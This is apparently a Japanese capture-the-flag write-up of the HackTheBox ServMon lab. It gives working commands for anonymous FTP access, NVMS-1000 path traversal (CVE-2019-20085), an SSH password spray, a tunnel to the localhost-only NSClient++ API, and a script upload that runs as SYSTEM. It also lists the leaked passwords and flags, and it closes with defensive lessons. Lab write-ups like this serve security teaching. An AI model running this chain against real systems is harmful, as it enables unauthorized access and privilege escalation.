HackTheBox: ServMon — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80/445/8443
→
21/22/80/445/8443
FTP匿名ログイン
Confidential.txt のヒント
→
Confidential.txt のヒント
NVMS-1000 LFI
CVE-2019-20085
→
CVE-2019-20085
Passwords.txt 7件
SSHパスワードスプレー
→
SSHパスワードスプレー
nadine SSH
user.txt ✓
→
user.txt ✓
nsclient.ini 読取
NSClient++パスワード
→
NSClient++パスワード
SSHトンネル + REST API
localhostのみ許可を回避
→
localhostのみ許可を回避
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -T4 -p 21,22,80,135,139,445,8443,5985 10.129.227.77
RESULT
Nmap scan report for megahosting.htb (10.129.227.77) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 8443/tcp open https-alt
✅
ターゲット確認: ホスト名
megahosting.htb、
FTP+SSH+NVMS想定の80番+NSClient++想定の8443番という組み合わせから
HackTheBox ServMon (Easy Windows) と一致することを確認。
PHASE 2
FTP匿名ログイン — ヒントファイルの発見
FTP匿名ログインでファイル一覧 & Confidential.txt取得
BASH
curl -s ftp://anonymous:anonymous@10.129.227.77/Users/ curl -s ftp://anonymous:anonymous@10.129.227.77/Users/Nadine/Confidential.txt curl -s ftp://anonymous:anonymous@10.129.227.77/Users/Nathan/
RESULT
Users/ Nadine/ Nathan/ --- Confidential.txt --- Nathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. Regards Nadine Nathan/ Notes to do.txt
✅
重要な手掛かり: NadineがNathanのDesktopに
Passwords.txtを一時的に置いたまま回収し忘れている、という
社内メモが匿名FTPから丸見えになっている。次のフェーズでこのファイルパスを
Webサーバー経由でLFIするのが攻略の鍵になる。
PHASE 3
NVMS-1000 パストラバーサル (CVE-2019-20085) → Passwords.txt
攻撃原理
NOTE
ポート80で動作する NVMS-1000 (監視カメラ管理ソフトウェア) には 既知のディレクトリトラバーサル脆弱性 CVE-2019-20085 が存在する。 生の "../" はルーティング側でブロックされるが、URLエンコードした "%2F..%2F" を使うとフィルタを回避できる。
Passwords.txt の取得
BASH
curl -s "http://10.129.227.77/%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FNathan%2FDesktop%2FPasswords.txt"
RESULT
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
✅
7つの候補パスワードを取得。トラバーサルの深さは
%2F..%2Fを6回繰り返す必要がある(Webルートから
C:\まで遡るのに必要な階層数)。
PHASE 4
SSHパスワードスプレー → user.txt
パスワードスプレーで有効な資格情報を特定
BASH
# nadine / nathan / administrator × 上記7パスワードを総当たり sshpass -p 'L1k3B1gBut7s@W0rk' ssh -o PreferredAuthentications=password \ -o PubkeyAuthentication=no nadine@10.129.227.77 "whoami"
RESULT
servmon\nadine
✅
nadine:L1k3B1gBut7s@W0rkでSSHログイン成功。本来 Nathan 用だった
パスワードリストの中に、実はNadine自身のパスワードも
混在していたことになる。
user.txt 取得
BASH
sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.129.227.77 \ "type C:\Users\Nadine\Desktop\user.txt"
RESULT
8a9a1e63fe9a879395f609586a68cad1
user.txt — nadine (SSH)
8a9a1e63fe9a879395f609586a68cad1
PHASE 5
NSClient++ REST API 悪用 → root.txt
nsclient.ini からAPIパスワードを取得
BASH
sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.129.227.77 \ 'type "C:\Program Files\NSClient++\nsclient.ini"'
RESULT
password = ew2x6SsGTxjRwXOT allowed hosts = 127.0.0.1
⚠️
ハマりポイント: NSClient++のREST APIは
allowed hosts = 127.0.0.1によりlocalhostからのみ
アクセス可能。外部から直接8443番に叩いても拒否されるため、SSHの
ローカルポートフォワーディングで迂回する必要がある。
SSHトンネル確立
BASH
sshpass -p 'L1k3B1gBut7s@W0rk' ssh -N -L 18443:127.0.0.1:8443 nadine@10.129.227.77 & sleep 3 curl -s -k -H "password: ew2x6SsGTxjRwXOT" "https://127.0.0.1:18443/api/v1/"
RESULT
{"info_url":"...","queries_url":"https://127.0.0.1:18443/api/v1/queries",
"scripts_url":"https://127.0.0.1:18443/api/v1/scripts"}
✅
ローカル18443番からターゲットの127.0.0.1:8443番へトンネルが確立し、
REST APIへの到達を確認。認証は
password:という
独自HTTPヘッダ(Basic認証ではない)で行う。
スクリプトアップロード & SYSTEM権限での実行
BASH
# root.txt を type するだけの .bat スクリプトを登録 printf 'type C:\\Users\\Administrator\\Desktop\\root.txt\r\n' | \ curl -s -k -H "password: ew2x6SsGTxjRwXOT" -X PUT --data-binary @- \ "https://127.0.0.1:18443/api/v1/scripts/ext/scripts/getroot.bat" # アップロードしたスクリプトを "クエリ" として実行 curl -s -k -H "password: ew2x6SsGTxjRwXOT" \ "https://127.0.0.1:18443/api/v1/queries/getroot/commands/execute?time=1m"
RESULT
Added getroot as scripts\getroot.bat
{"command":"getroot","lines":[{"message":"\r\nC:\\Program Files\\NSClient++>type
C:\\Users\\Administrator\\Desktop\\root.txt \r\n16349a069f83ab79e8a72211024b78ad",
"perf":{}}],"result":0}
root.txt — NSClient++サービス (NT AUTHORITY\SYSTEM) 経由
16349a069f83ab79e8a72211024b78ad
✅
NSClient++サービス自体はSYSTEM権限で稼働しているため、
登録したスクリプトを「クエリ」として実行させれば
root.txtを
直接読み取れる。実行結果はファイルに書き出す必要すら無く、API応答のJSON
messageフィールドに標準出力がそのまま含まれる。
後始末
BASH
kill %1 # SSHトンネルプロセスを終了
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — nadine (SSH)
8a9a1e63fe9a879395f609586a68cad1
root.txt — NSClient++経由 (SYSTEM)
16349a069f83ab79e8a72211024b78ad
使用した脆弱性・設定ミス
| 脆弱性/設定ミス | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 匿名FTPアクセス | FTPサーバー | 社内メモの漏洩 | Medium | 認証無しでユーザーフォルダを閲覧し、パスワードファイルの場所を示す ヒントを入手 |
| CVE-2019-20085 (NVMS-1000 LFI) | NVMS-1000 Webサーバー (80) | 任意ファイル読み取り | Critical | URLエンコードしたパストラバーサルでC:\上の任意ファイルを読み取り |
| パスワード再利用 | nadine (Windowsローカルアカウント) | SSHでの認証突破 | High | 漏洩したパスワードリストをSSHパスワードスプレーで試行 |
| 平文パスワードの設定ファイル保存 | NSClient++ nsclient.ini | 監視エージェントAPIの認証情報漏洩 | Critical | 一般ユーザー権限で読み取り可能な設定ファイルにAPIパスワードが平文記載 |
| SYSTEM権限で動く監視エージェントのスクリプト実行機能 | NSClient++ REST API (8443) | 権限昇格 (SYSTEM) | Critical | SSHトンネルでlocalhost限定アクセス制限を回避し、任意スクリプトを SYSTEM権限で実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 21/22/80/445/8443開放 |
| 2 | 情報漏洩 | FTP匿名ログイン | Passwords.txtの場所のヒント |
| 3 | LFI | NVMS-1000 パストラバーサル (CVE-2019-20085) | 7件のパスワード候補 |
| 4 | 認証突破 | SSHパスワードスプレー | user.txt、nadineシェル |
| 5 | 権限昇格 | SSHトンネル + NSClient++ REST API | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FTPサーバーの匿名ログインが有効で社内メモが閲覧できる | 匿名アクセスを無効化し、内部向けメモを公開領域に置かない。 |
| 既知の公開脆弱性(CVE-2019-20085)が存在する旧バージョンの 監視カメラソフトを運用している | サードパーティ製ソフトウェアも定期的にパッチ適用・バージョン管理する。 |
| 複数ユーザー間でパスワードを再利用・共有している | ユーザーごとに一意で強固なパスワードを強制し、パスワードマネージャーを 導入する。 |
| 監視エージェントのAPIパスワードが設定ファイルに平文で保存され、 一般ユーザーから読み取れる | 機密情報を含む設定ファイルはACLで管理者のみ読み取り可能にし、 可能ならシークレット管理サービスを利用する。 |
| SYSTEM権限で動くサービスのAPIに任意スクリプトのアップロード・実行機能がある | 監視エージェントのスクリプト実行機能は必要最小限に無効化し、 許可ホスト制限だけに依存しない多層防御を行う。 |

